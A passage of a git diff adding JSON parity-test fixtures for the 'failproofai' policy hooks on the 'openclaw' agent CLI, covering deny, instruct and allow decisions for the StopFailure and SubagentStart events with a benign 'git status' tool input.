b/__tests__/parity/fixtures/openclaw/StopFailure/deny__tool-present__one-policy.json new file mode 100644 index 00000000..27b36d04 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/StopFailure/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/StopFailure/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/StopFailure/deny__tool-present__two-policies.json new file mode 100644 index 00000000..14a2ed35 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/StopFailure/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/StopFailure/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/StopFailure/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..3a65b87d --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/StopFailure/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/StopFailure/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/StopFailure/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..d73a7d86 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/StopFailure/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/StopFailure/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/StopFailure/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..6f73c625 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/StopFailure/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/StopFailure/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/StopFailure/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..57eef4fc --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/StopFailure/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStart/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/SubagentStart/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..951bb520 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStart/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStart/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/SubagentStart/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..03a4ed4d --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStart/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStart/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/SubagentStart/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..a9898317 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStart/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStart/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/SubagentStart/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..c900a6b8 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStart/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStart/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/SubagentStart/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..f74bd2d4 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStart/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStart/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/SubagentStart/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..bb881e90 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStart/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStart/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/SubagentStart/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..e0bcceb1 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStart/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStart/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/SubagentStart/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..844efd65 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStart/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStart/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/SubagentStart/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..bc09dc12 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStart/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStart/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/SubagentStart/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..983b6240 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStart/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStart/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/SubagentStart/deny__tool-present__one-policy.json new file mode 100644 index 00000000..5e847f48 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStart/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStart/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/SubagentStart/deny__tool-present__two-policies.json new file mode 100644 index 00000000..329ddd9f --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStart/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStart/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/SubagentStart/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..ece7bb82 --- /dev/null +++ 